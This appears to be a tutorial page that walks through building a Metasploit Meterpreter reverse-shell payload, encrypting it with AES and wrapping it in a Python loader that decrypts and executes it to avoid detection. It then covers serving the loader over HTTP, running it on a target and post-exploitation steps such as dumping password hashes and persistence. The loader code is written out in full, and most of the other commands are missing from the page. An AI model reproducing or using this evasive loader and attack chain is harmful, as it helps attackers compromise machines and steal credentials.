12. Metasploit Encrypting and Obfuscating a Payload using AES
A step-by-step example of encrypting and obfuscating a payload using AES encryption and creating a custom Python loader to execute it stealthily.
Step 1: Generate the Payload¶
We’ll create a raw Meterpreter reverse shell payload.
Command:¶
- Payload:
windows/meterpreter/reverse_tcpopens a reverse shell to the attacker's machine. - Output: Saved as
payload.raw.
Step 2: Encrypt the Payload¶
We’ll use OpenSSL to encrypt the payload using AES-256-CBC.
Command:¶
- Input:
payload.rawis the raw shellcode. - Output:
payload.encis the encrypted payload. - Key:
mysecretkey(replace with a strong key).
Step 3: Create a Python Loader¶
The loader will decrypt and execute the payload on the target system.
Python Code:¶
import os
from Crypto.Cipher import AES
# Configuration
key = b"mysecretkeymysecretkeymysecretk" # 32 bytes (AES-256 key)
iv = b"16_BYTE_INIT_VEC" # 16 bytes (AES initialization vector)
# Encrypted payload (read from file or hardcoded)
encrypted_payload = b"ENCRYPTED_PAYLOAD_HERE"
# Decrypt the payload
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_payload = cipher.decrypt(encrypted_payload)
# Save the decrypted payload to a file
with open("decrypted_payload.exe", "wb") as f:
f.write(decrypted_payload)
# Execute the decrypted payload
os.system("decrypted_payload.exe")
Step 4: Replace Placeholders¶
-
Replace
ENCRYPTED_PAYLOAD_HERE:-
Read
payload.encand convert to a byte string:- Copy the output into the
encrypted_payloadvariable in the Python script. - Replace
16_BYTE_INIT_VEC:
- Copy the output into the
-
Generate a random 16-byte IV:
-
Use the result as the
ivin the script.
-
Step 5: Compile the Loader¶
To convert the Python loader into an executable:
Command:¶
- Output: A standalone executable named
loader.
Step 6: Serve the Loader¶
Use a simple HTTP server to host the loader:
Step 7: Set Up the Listener¶
-
Start Metasploit:
-
Configure a handler:
Step 8: Execute the Loader on the Target¶
-
On the target machine, download the loader:
-
Execute the loader:
Step 9: Post-Exploitation¶
After execution, you’ll get a Meterpreter session on the attacker's machine.
Useful Post-Exploitation Commands:¶
-
Gather System Info:
-
Dump Password Hashes:
-
Persistence: